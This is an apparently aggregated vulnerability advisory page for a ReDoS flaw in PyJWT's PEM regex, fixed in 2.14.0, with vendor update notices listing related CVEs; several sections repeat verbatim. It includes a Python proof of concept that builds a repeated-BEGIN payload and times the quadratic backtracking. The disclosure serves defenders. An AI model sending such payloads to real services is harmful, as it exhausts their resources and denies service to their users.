CVE-2026-102270

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT is_pem_format is affected because lazy PEM regular expression backtracks extensively. This occurs when a certificate-like input contains repeated BEGIN markers without a matching END marker. As a result, is_pem_format performs unbounded backtracking while searching for a PEM end marker. Consequently, an attacker can cause intensive CPU consumption. This issue is fixed in version 2.14.0.

Summary

There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC

import time
import re


BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)


def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))


def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers


def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed


for n in (1000, 2000, 4000, 8000):
    measure(n)

Impact

The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10):

We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Summary

There is a Re-DoS vulnerability in the is_pem_format function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details

The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC

import time
import re


BEGIN_LINE = b"-----BEGIN CERTIFICATE-----\n"

_PEMS = {
    b"CERTIFICATE",
    b"TRUSTED CERTIFICATE",
    b"PRIVATE KEY",
    b"PUBLIC KEY",
    b"ENCRYPTED PRIVATE KEY",
    b"OPENSSH PRIVATE KEY",
    b"DSA PRIVATE KEY",
    b"RSA PRIVATE KEY",
    b"RSA PUBLIC KEY",
    b"EC PRIVATE KEY",
    b"DH PARAMETERS",
    b"NEW CERTIFICATE REQUEST",
    b"CERTIFICATE REQUEST",
    b"SSH2 PUBLIC KEY",
    b"SSH2 ENCRYPTED PRIVATE KEY",
    b"X509 CRL",
}

_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \\1[- ]----\r?\n?""",
    re.DOTALL,
)


def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))


def make_payload(num_headers: int) -> bytes:
    return BEGIN_LINE * num_headers


def measure(num_headers: int) -> float:
    payload = make_payload(num_headers)
    start = time.perf_counter()
    is_pem_format(payload)  # returns False, but burns CPU getting there
    elapsed = time.perf_counter() - start
    print(
        f"  headers={num_headers:>4}  size={len(payload)//1024:>3} KB"
        f"   time={elapsed*1000:>7.1f} ms"
    )
    return elapsed


for n in (1000, 2000, 4000, 8000):
    measure(n)

Impact

The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10):

We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT is_pem_format is affected because lazy PEM regular expression backtracks extensively. This occurs when a certificate-like input contains repeated BEGIN markers without a matching END marker. As a result, is_pem_format performs unbounded backtracking while searching for a PEM end marker. Consequently, an attacker can cause intensive CPU consumption. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT is_pem_format is affected because lazy PEM regular expression backtracks extensively. This occurs when a certificate-like input contains repeated BEGIN markers without a matching END marker. As a result, is_pem_format performs unbounded backtracking while searching for a PEM end marker. Consequently, an attacker can cause intensive CPU consumption. This issue is fixed in version 2.14.0.

TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.10.1.post5+tuxcare.

TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.8.0.post4+tuxcare.

TuxCare rebuilt pyjwt to address 7 CVEs. Fixed in 2.3.0.post4+tuxcare.

TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post4+tuxcare.

These are all security issues fixed in the python313-PyJWT-2.15.1-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
• CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).

This update for python-PyJWT fixes the following issues:

• CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
• CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
• CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
• CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
• CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).

This update for python-PyJWT fixes the following issues:

• CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
• CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).